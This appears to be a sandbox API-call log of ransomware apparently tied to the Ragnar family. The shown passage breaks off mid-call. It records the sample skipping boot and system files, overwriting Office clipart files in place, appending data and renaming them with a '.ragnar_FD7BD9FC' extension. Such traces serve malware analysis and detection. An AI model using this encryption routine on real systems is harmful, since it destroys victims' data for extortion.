[0089.464] GetProcessHeap () returned 0x580000 [0089.464] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.464] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.466] VirtualAlloc (lpAddress=0x0, dwSize=0x1402c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.467] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.467] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.467] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1402c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1402c, lpOverlapped=0x0) returned 1 [0089.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.470] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1402c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.470] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1402c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1402c, lpOverlapped=0x0) returned 1 [0089.470] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1402c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.470] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1402c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.471] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.471] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.471] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.471] GetProcessHeap () returned 0x580000 [0089.471] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.471] CloseHandle (hObject=0xf4) returned 1 [0089.471] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" [0089.471] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.ragnar_FD7BD9FC" [0089.471] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.472] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0089.472] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.472] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00531_.WMF" | out: lpString1="PE00531_.WMF") returned="PE00531_.WMF" [0089.472] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF") returned=".WMF" [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="autorun.inf") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="boot.ini") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="bootfont.bin") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="bootsect.bak") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="bootmgr") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="bootmgr.efi") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="desktop.ini") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="iconcache.db") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="ntldr") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="ntuser.dat") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.472] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="ntuser.ini") returned 1 [0089.473] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="thumbs.db") returned -1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf")) returned 0x20 [0089.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.474] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7908) returned 1 [0089.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1edb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.474] GetProcessHeap () returned 0x580000 [0089.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.474] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.476] VirtualAlloc (lpAddress=0x0, dwSize=0x1ee4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.476] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ee4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ee4, lpOverlapped=0x0) returned 1 [0089.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ee4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.479] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ee4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ee4, lpOverlapped=0x0) returned 1 [0089.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.479] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.480] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.480] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.480] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.480] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.480] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.480] GetProcessHeap () returned 0x580000 [0089.480] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.480] CloseHandle (hObject=0xf4) returned 1 [0089.480] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" [0089.480] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.ragnar_FD7BD9FC" [0089.480] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.481] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0089.481] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.481] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00542_.WMF" | out: lpString1="PE00542_.WMF") returned="PE00542_.WMF" [0089.481] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF") returned=".WMF" [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="autorun.inf") returned 1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="boot.ini") returned 1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="bootfont.bin") returned 1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="bootsect.bak") returned 1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="bootmgr") returned 1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="bootmgr.efi") returned 1 [0089.481] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="desktop.ini") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="iconcache.db") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="ntldr") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="ntuser.dat") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="ntuser.ini") returned 1 [0089.482] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="thumbs.db") returned -1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.482] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf")) returned 0x20 [0089.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.482] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36264) returned 1 [0089.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.483] GetProcessHeap () returned 0x580000 [0089.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.483] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.484] VirtualAlloc (lpAddress=0x0, dwSize=0x8da8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.484] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8da8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8da8, lpOverlapped=0x0) returned 1 [0089.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.486] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8da8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.486] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8da8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8da8, lpOverlapped=0x0) returned 1 [0089.486] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8da8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.486] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8da8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.486] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.486] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.487] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.487] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.487] GetProcessHeap () returned 0x580000 [0089.487] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.487] CloseHandle (hObject=0xf4) returned 1 [0089.487] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" [0089.487] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.ragnar_FD7BD9FC" [0089.487] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0089.488] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.488] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00555_.WMF" | out: lpString1="PE00555_.WMF") returned="PE00555_.WMF" [0089.488] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF") returned=".WMF" [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="autorun.inf") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="boot.ini") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="bootfont.bin") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="bootsect.bak") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="bootmgr") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="bootmgr.efi") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="desktop.ini") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="iconcache.db") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="ntldr") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="ntuser.dat") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="ntuser.ini") returned 1 [0089.488] lstrcmpiW (lpString1="PE00555_.WMF", lpString2="thumbs.db") returned -1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.488] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf")) returned 0x20 [0089.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.489] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5132) returned 1 [0089.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1403, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.489] GetProcessHeap () returned 0x580000 [0089.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.489] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.492] VirtualAlloc (lpAddress=0x0, dwSize=0x140c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: 